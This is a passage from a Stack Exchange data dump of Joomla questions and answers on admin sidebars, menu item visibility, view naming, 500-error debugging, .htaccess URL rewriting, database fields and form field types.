JToolBarHelper::addNew();&#xA;        JToolBarHelper::deleteList();&#xA;        JToolBarHelper::editList();&#xA;        JToolBarHelper::preferences('com_helloworld', '500');&#xA;        xProfileHelper::addSubmenu('helloworld');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;com_helloworld/helpers/helloworld.php:&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldHelper extends JHelperContent&#xA;{&#xA;    public static function addSubmenu($vName)&#xA;    {&#xA;        JHtmlSidebar::addEntry(&#xA;            'test',&#xA;            'index.php?option=com_helloworld&amp;amp;view=helloworld',&#xA;            $vName == 'profile'&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1787" LastEditorUserId="1787" LastEditDate="2014-08-18T15:14:35.430" LastActivityDate="2015-05-21T20:35:51.017" Title="How do I apply JHtmlSidebar to add a sidebar to my admin view?" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4091" PostTypeId="2" ParentId="4090" CreationDate="2014-08-18T13:35:55.710" Score="11" Body="&lt;p&gt;You firstly need to create a helper file, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_helloworld/helpers/helloworld.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in this file, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldHelper extends JHelperContent&#xA;{&#xA;    public static function addSubmenu($vName)&#xA;    {&#xA;        JHtmlSidebar::addEntry(&#xA;            'test',&#xA;            'index.php?option=com_hellowworld&amp;amp;view=VIEWNAME',&#xA;            $vName == 'banners'&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;VIEWNAME&lt;/code&gt; and the value for &lt;code&gt;$vName&lt;/code&gt; to the view for your component that you wish to add the sidebar to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your &lt;strong&gt;view.html.php&lt;/strong&gt; file, call it using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HelloWorldHelper::addSubmenu('VIEWNAME');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and of course, the following is required to render the sidebar which you can put below the code above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have a look at the Banners component that comes packaged with Joomla, it will provide a good example.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If forgot to mention, inside your &lt;code&gt;addToolbar()&lt;/code&gt; function in the &lt;strong&gt;view.html.php&lt;/strong&gt; file, you will need to call the helper file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_COMPONENT . '/helpers/hellowworld.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sorry, I'm not on the ball today. You will need to add the following to your &lt;strong&gt;default.php&lt;/strong&gt; in &lt;code&gt;views/VIEWNAME/tmpl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;j-sidebar-container&quot; class=&quot;span2&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;sidebar; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;j-main-container&quot; class=&quot;span10&quot;&amp;gt;&#xA;     // Main part of the component view&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-18T15:12:05.420" LastActivityDate="2014-08-18T15:12:05.420" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4092" PostTypeId="1" AcceptedAnswerId="4093" CreationDate="2014-08-18T18:10:00.993" Score="3" ViewCount="49" Body="&lt;p&gt;My component has a number of views that can/should only be used from within the component, and never appear on the list of Menu Item Types to be added to a menu.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent confusion, how does one prevent a particular view from appearing on that list.  I've tried hiding/renaming what I deemed to be relevant files, but to no avail, so haven't been able to determine which file(s) are actually being used to populate that list.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-18T18:13:31.077" Title="How can I prevent a particular view in my Component from being available as a menu item?" Tags="|component|development|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4093" PostTypeId="2" ParentId="4092" CreationDate="2014-08-18T18:13:31.077" Score="4" Body="&lt;p&gt;This should be driven by xml files in the &lt;code&gt;tmpl&lt;/code&gt; folder of the view. So for the &lt;code&gt;default.php&lt;/code&gt; layout, you typically add a &lt;code&gt;default.xml&lt;/code&gt; file to the same folder to make that layout available as a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't include the xml file and you should not see it in the options list when adding a menu item.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-18T18:13:31.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4094" PostTypeId="1" AcceptedAnswerId="4095" CreationDate="2014-08-19T04:01:04.803" Score="2" ViewCount="389" Body="&lt;p&gt;My component is named &quot;com_xsomething&quot; (to make it distinct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main view is called &quot;Something&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to name my view &quot;Something&quot; rather than &quot;xSomething&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I write the main controller's &lt;code&gt;display()&lt;/code&gt; function to display the &quot;Something&quot; View and not have Joomla look for &quot;xSomething&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the below code but it failed miserably:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class xSomethingController extends JControllerLegacy{&#xA;    function display(){&#xA;        $viewsomething = $this-&amp;gt;getView('Something');&#xA;        $viewsomething-&amp;gt;display();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 View not found [name, type, prefix]: something, , xsomethingView&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't name my view &quot;xSomething&quot; because it doesn't make sense in the context my component.&lt;/p&gt;&#xA;" OwnerUserId="1787" LastEditorUserId="12352" LastEditDate="2019-06-10T13:54:22.957" LastActivityDate="2019-06-10T14:14:14.330" Title="Component name different to the default view name, how to display default view?" Tags="|component|development|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4095" PostTypeId="2" ParentId="4094" CreationDate="2014-08-19T04:59:50.233" Score="2" Body="&lt;p&gt;Answered my own question upon reviewing the API documentation and playing around with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to display a different view by specifying the view type and view class prefixes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class xSomethingController extends JControllerLegacy{&#xA;    function display(){&#xA;        $viewsomething = $this-&amp;gt;getView('Something', 'html', 'xSomethingView');&#xA;        $viewsomething-&amp;gt;display();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1787" LastActivityDate="2014-08-19T04:59:50.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4096" PostTypeId="1" AcceptedAnswerId="4097" CreationDate="2014-08-19T09:19:34.070" Score="0" ViewCount="26" Body="&lt;p&gt;I was trying to remove a module from footer and replace it with another one. However, now everything is broken. The modules are positioned one over the other. Top on top. Can anyone advise what i am doing wrong ? Thanks&lt;img src=&quot;https://i.stack.imgur.com/3c341.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1798" LastEditorUserId="3650" LastEditDate="2016-11-24T18:48:45.170" LastActivityDate="2016-11-24T18:48:45.170" Title="I tried ordering modules, now everything is one under the other" Tags="|component|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4097" PostTypeId="2" ParentId="4096" CreationDate="2014-08-19T09:30:46.503" Score="2" Body="&lt;p&gt;You've trashed your module but it's not permanently deleted. To get it back, in your Module Manager, on the left hand side, simply set the &lt;strong&gt;State&lt;/strong&gt; to &lt;strong&gt;Trashed&lt;/strong&gt;. This will show you your Footer module that you deleted before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have it back, have a look at the the default setting that have been applied, primarily the Module Class Suffix which will most likely be the candidate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply the same Module Class Suffix and and other setting to your new module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps  &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-19T09:30:46.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4098" PostTypeId="1" CreationDate="2014-08-19T09:33:23.413" Score="1" ViewCount="155" Body="&lt;p&gt;I have recently transferred my joomla 2.5.6 site over to a new server. The site and the database are both both connected and the files have been transferred but i get a 500 error on 2 separate occasions;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When saving a page after i have updated it or changed any settings (the changes i have made still apply but i get the error screen).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When trying to update the version within the Joomla administration panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have read questions where people mention the error.log but have so far been unsucessful in finding it. Could any one advise me on the best way to find what is causing errors within the site?&lt;/p&gt;&#xA;" OwnerUserId="1765" LastEditorUserId="3650" LastEditDate="2016-11-24T18:48:10.247" LastActivityDate="2016-11-24T18:48:10.247" Title="How do I find what is causing the error when I get the &quot;500 error screen&quot;" Tags="|debug|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4100" PostTypeId="2" ParentId="3793" CreationDate="2014-08-19T12:36:32.077" Score="1" Body="&lt;p&gt;Try also defining your module positions by naming them in your template system language file, i.e.;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;en-GB.tpl_yourtemplatename.sys.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name each position like this, where in this example the module positions are header, banner and breadcrumbs and yourtemplatename is &lt;em&gt;your template name&lt;/em&gt; ;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TPL_YOURTEMPLATENAME_POSITION_HEADER=&quot;Header&quot;&#xA;TPL_YOURTEMPLATENAME_BANNER=&quot;Banner&quot;&#xA;TPL_YOURTEMPLATENAME_BREADCRUMBS=&quot;Breadcrumbs&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-08-19T12:36:32.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4101" PostTypeId="1" CreationDate="2014-08-19T12:37:35.020" Score="2" ViewCount="4217" Body="&lt;p&gt;I have searching for removing index.php from urls. I did what many web sites say. But I still get 404 error. I think that error would not be showed if I did not use multilanguage web site. I am using Joomla 3.3.3.&#xA;All the examples are for single language site. But my site has at least two languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My home page address is like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/index.php/en/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I enable &quot;use mod_rewrite&quot; and change &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;, yes, &lt;code&gt;index.php&lt;/code&gt; goes away.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/en/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I see 404 error now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also enabled &quot;Remove language code&quot; option in language filter plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A part of configuration.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public $sef = '1';&#xA;public $sef_rewrite = '1';&#xA;public $sef_suffix = '0';&#xA;public $unicodeslugs = '0';&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I type &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt; into the address bar, homepage loads. But if I click on a menu item in order to read an article 404 page shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are your suggestions?&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2014-08-19T13:15:41.870" LastActivityDate="2015-11-02T16:08:25.480" Title="How to remove index.php from url in multilanguage site" Tags="|sef|.htaccess-configuration|multilingual|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4102" PostTypeId="2" ParentId="4101" CreationDate="2014-08-19T12:43:20.767" Score="3" Body="&lt;p&gt;Firstly, in the Global Configuration, set &lt;strong&gt;Use URL rewriting&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt;. This is the option to remove the &lt;code&gt;index.php&lt;/code&gt; from the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, simply rename your htaccess file to &lt;code&gt;.htaccess&lt;/code&gt;, which you appear to have already done. This will allows the first change mentioned above to be performed.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-19T12:43:20.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4103" PostTypeId="1" AcceptedAnswerId="4104" CreationDate="2014-08-19T14:16:11.217" Score="1" ViewCount="169" Body="&lt;p&gt;I'm looking for the &quot;start publishing&quot; field into the xx_content of my database. I Don't see any column named like that. I can't find where its value are store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea where I could find it? (Joomla! 3.3.1)&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="3650" LastEditDate="2016-11-24T18:47:00.863" LastActivityDate="2016-11-24T18:47:00.863" Title="Looking for &quot;start publishing&quot; field in database" Tags="|joomla-3.x|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4104" PostTypeId="2" ParentId="4103" CreationDate="2014-08-19T14:20:00.513" Score="4" Body="&lt;p&gt;In the &lt;code&gt;#__content&lt;/code&gt; database table, the column you're looking for is &lt;code&gt;publish_up&lt;/code&gt;. This contains the timestamp value for the publish date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwgUT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-19T14:55:47.033" LastActivityDate="2014-08-19T14:55:47.033" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4105" PostTypeId="2" ParentId="4098" CreationDate="2014-08-19T15:09:24.317" Score="2" Body="&lt;p&gt;The dreaded 500 error is the bane of my existence. If your error reporting isn't kicking out anything, the first thing I usually check is the htaccess file to see if it's the problem. In your case, you can still get to things, so I suspect that's not the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing I do is start uninstalling and reinstalling, or upgrading stuff. I've had the Akeeba stuff break a site before and an uninstall-reinstall did the trick. Every so often that also happens with some other extensions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a few cases, it's been some tiny plugin somewhere that has somehow gone crazy. At one point I literally did a process of elimination and turned off loads of extensions until either I started to get error messages on the front end or the problem went away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try setting the error reporting on Development, I think that turns on messages in the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I doubt it's a permission issue as much as it is that you've got something that's partially broken in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you running JCE? if so, try reinstalling or disabling it to see if that's the issue). I recently had this issue with a site when we upgraded JCE before upgrading the joomla core. JCE didn't like that at all. I ended up pulling a backup of the site, dropping it into MAMP and then upgrading the core first, then upgrading other parts after. I broke the site several times till I finally got it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully these tips will be helpful in figuring it out.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-08-19T15:09:24.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4106" PostTypeId="1" AcceptedAnswerId="4261" CreationDate="2014-08-19T15:11:15.440" Score="2" ViewCount="403" Body="&lt;p&gt;I was very reserved to post this question, but this is something that I am facing in almost every website, and would like to get feedback from others on this. &#xA;The upload package file in the extensions installer poses an unstable behavior, making the installation a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While trying to install extensions in various server environments, some extensions will be installed without any problem, but for some it won't work right away. It freezes and keep showing the &quot;installation screen&quot; without any progress, if I don't cancel it, it will just stay there forever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lzNNW.jpg&quot; alt=&quot;Waiting for minutes the installer...&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many cases, where I have to keep re-trying the installation for several times. Then all of sudden, it will complete the installation without any difficulty and without any delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any common clues for when this is happening, it does not happen for any specific extension nor the size of the extension is related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no permission issues, tmp folder location is defined correctly, no FTP settings - and again: at some point it will manage to install the extension in question without any troubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very annoying and time consuming while building a website and also not the very best for the customers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you also facing this issue? Anyone has any idea what can be the problem here?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-28T22:01:32.733" Title="Using the extensions installer (upload package file) is not working all the times" Tags="|installation|administration|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4107" PostTypeId="2" ParentId="4106" CreationDate="2014-08-19T15:22:10.737" Score="1" Body="&lt;p&gt;This is a long shot but assuming this only happens with large extensions, it &lt;strong&gt;could&lt;/strong&gt; be something to so with the max post execution time. In your &lt;strong&gt;php.ini&lt;/strong&gt; file, have a look at these 3 lines, and increase the values &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post_max_size = xxM&#xA;upload_max_filesize = xxM&#xA;max_execution_time = xxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-19T15:22:10.737" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4108" PostTypeId="1" AcceptedAnswerId="4188" CreationDate="2014-08-19T17:19:25.070" Score="2" ViewCount="2253" Body="&lt;p&gt;My Joomla 3.3.1 website was working fine until today. I haven't install nor updated anything since two-three weeks. Yesterday it was working great, but today I get this error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This webpage is not available&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I can still access my backend and it seems that all the pages are working except the one to create new article (no matter if I try directly from the menu or from the article manager page). But I can access any existing articles.&lt;/p&gt;&#xA;&lt;p&gt;The weird thing is that I everything is working fine if I activate the Joomla Debug system : in that case, my front-end is working and I can create a new article.&lt;/p&gt;&#xA;&lt;p&gt;I couldn't find any clue in the Joomla debug system.&lt;/p&gt;&#xA;&lt;p&gt;Any idea what may be the origin and what I am supposed to do to fix ? Thanks a lot for your help!&lt;/p&gt;&#xA;&lt;p&gt;What I have tried so far but it didn't solve the problem:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;disable &lt;code&gt;Search Engine Friendly URLs&lt;/code&gt; and &lt;code&gt;Use URL rewriting&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;remove redirection in &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2021-01-15T13:33:08.610" LastActivityDate="2021-01-15T13:33:08.610" Title="No acces to front page but acces to backend is working" Tags="|joomla-3.x|front-end|bugs|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4109" PostTypeId="2" ParentId="4108" CreationDate="2014-08-19T19:20:25.250" Score="1" Body="&lt;p&gt;It works for me when I access the site, but it shows a lot of &quot;Strict Standard&quot; warnings. Mainly coming from a &quot;DisplayNews&quot; Module and from a layout override in &quot;/templates/protostar/html/layouts/joomla/content/tags.php&quot;.&#xA;You may want to try disabling at least the module to see if it causes other issues as well as it doesn't look like it's written very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also disable debug informations for public as it will show all sort of sensible information to the visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site is back in a state where it doesn't work, you should check the server error logfile and see if there are any errors logged there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course check if the site isn't hacked. If you really didn't change anything and your host didn't change anything as well, then that may be the root of your issue.&#xA;There is a checklist in the doc pages which may help you: &lt;a href=&quot;http://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-19T19:20:25.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4110" PostTypeId="1" AcceptedAnswerId="4112" CreationDate="2014-08-19T20:58:57.657" Score="3" ViewCount="8053" Body="&lt;p&gt;I want to display my custom flags images at the language switcher module. How can I replace the default flags of the module?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-10-23T00:42:59.567" Title="Using custom image flags with language switcher module" Tags="|overrides|module-display|multilingual|language|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4111" PostTypeId="2" ParentId="2530" CreationDate="2014-08-19T20:59:09.400" Score="2" Body="&lt;p&gt;I have had issues with this when the database is used as the session handler. From what I can gather, the session data isn't written to the database until the script has terminated. This means that if the second script starts running before the first finishes it would load the session data without the new values since it hasn't been written to the database yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had some luck with just switching the session handler to &lt;code&gt;file&lt;/code&gt; instead of &lt;code&gt;database&lt;/code&gt; and had this actually lock the file so that the second script wouldn't run until the first had finished and saved its value. This is probably because there isn't as good of a way to lock the individual table row as there is a file.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-19T20:59:09.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4112" PostTypeId="2" ParentId="4110" CreationDate="2014-08-19T20:59:44.127" Score="4" Body="&lt;p&gt;Actually the language siwtcher module gets the flags images from the directory &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/media/mod_languages/images&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We can define which image should be used for each language, when creating/editing the &lt;strong&gt;Content Languages&lt;/strong&gt; in &lt;strong&gt;Language Manager&lt;/strong&gt;, through the &lt;strong&gt;Image Prefix&lt;/strong&gt; selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the instructions that appear when hovering the field:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Prefix of the image file for this language when using the &quot;Use image&#xA;  flags&quot; Language Switcher basic option. Example: if 'en' is chosen,&#xA;  then the image shall be en.gif. Images and CSS for this module are in&#xA;  media/mod_languages/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What does this say?&lt;/strong&gt;&lt;br&gt;&#xA;That the Flags images should be in &lt;strong&gt;.gif&lt;/strong&gt; format and uploaded in the mentioned directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to replace existing images as we can use any prefix we like for our flags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom flags would be available in the &lt;strong&gt;Edit Content Language layout&lt;/strong&gt;, and we can search for them by typing the prefix we gave them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot attached:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A4WVj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-10T11:19:42.170" LastActivityDate="2015-08-10T11:19:42.170" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4113" PostTypeId="2" ParentId="4101" CreationDate="2014-08-19T23:18:02.587" Score="2" Body="&lt;p&gt;In my experience, the &lt;code&gt;.htaccess&lt;/code&gt; file should work regardless of multi/single language site settings. The most common reason for 404 errors on any page BUT the homepage is an error in &lt;code&gt;.htaccess&lt;/code&gt;. There are two lines you should check: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try commenting out &lt;code&gt;Options +FollowSymLinks&lt;/code&gt; as suggested (by adding a # at the beginning of the line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second line that might cause problems is &lt;code&gt;RewriteBase /&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try uncommenting this line, and if you installed Joomla in a subdirectory, add that directory after the &lt;code&gt;/&lt;/code&gt; (example: &lt;code&gt;RewriteBase /joomladir&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-19T23:18:02.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4114" PostTypeId="1" AcceptedAnswerId="4115" CreationDate="2014-08-20T00:55:04.283" Score="5" ViewCount="6775" Body="&lt;p&gt;When developing an extension, what are the form field types I can use in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-09-11T01:32:24.697" LastActivityDate="2016-06-28T19:36:52.880" Title="Available fields in Joomla XML manifest" Tags="|component|development|module|plugin|xml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4115" PostTypeId="2" ParentId="4114" CreationDate="2014-08-20T00:55:04.283" Score="12" Body="&lt;p&gt;Numerous types of form field are built into Joomla, with many usefull fields like calendar, color picker, image picker, file upload, file selection etc.:&lt;/p&gt;&#xA;&lt;h2&gt;Available Fields&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| TYPE                | DESCRIPTION                                                                                           |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| accesslevel         | provides a drop down list of viewing access levels.                                                   |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| cachehandler        | provides a list of available cache handling options.                                                  |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| calendar            | provides a text box for entry of a date. An icon next to the text box                                 |&#xA;|                     | provides a link to a pop-up calendar, which can also be used                                          |&#xA;|                     | to enter the date value.                                                                              |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| captcha             | provides a drop down list of the captcha plugins.                                                     |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| category            | provides a drop down list of categories for an extension.                                             |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| checkbox            | provides a single checkbox to be checked or unchecked                                                 |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| checkboxes          | provides unlimited checkboxes that can be used for multi-select.                                      |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Chrome Style        | provides a list of template chrome style options grouped by template.                                 |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| color               | provides a color picker when clicking the input box.                                                  